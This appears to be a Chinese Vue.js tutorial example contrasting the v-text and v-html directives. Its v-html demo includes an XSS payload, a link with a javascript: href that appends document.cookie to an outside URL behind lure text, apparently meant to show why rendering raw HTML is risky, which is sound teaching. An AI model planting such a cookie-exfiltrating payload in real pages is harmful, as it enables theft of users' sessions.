实例
<! DOCTYPE html >
< html> < head> < meta charset = " UTF-8" /> < title> v-text指令</ title> < script type = " text/javascript" src = " ../js/vue.js" > </ script> </ head> < body> < div id = " root" > < div> 你好,{{name}}</ div> < div v-text = " name" > </ div> < div v-text = " str" > </ div> </ div> </ body> < script type = " text/javascript" > Vue. config. productionTip = false new Vue ( { el : '#root' , data : { name : '尚硅谷' , str : '<h3>你好啊!</h3>' } } ) </ script>
</ html>
<! DOCTYPE html >
< html> < head> < meta charset = " UTF-8" /> < title> v-html指令</ title> < script type = " text/javascript" src = " ../js/vue.js" > </ script> </ head> < body> < div id = " root" > < div> 你好,{{name}}</ div> < div v-html = " str" > </ div> < div v-html = " str2" > </ div> </ div> </ body> < script type = " text/javascript" > Vue. config. productionTip = false new Vue ( { el : '#root' , data : { name : '尚硅谷' , str : '<h3>你好啊!</h3>' , str2 : '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>' , } } ) </ script>
</ html>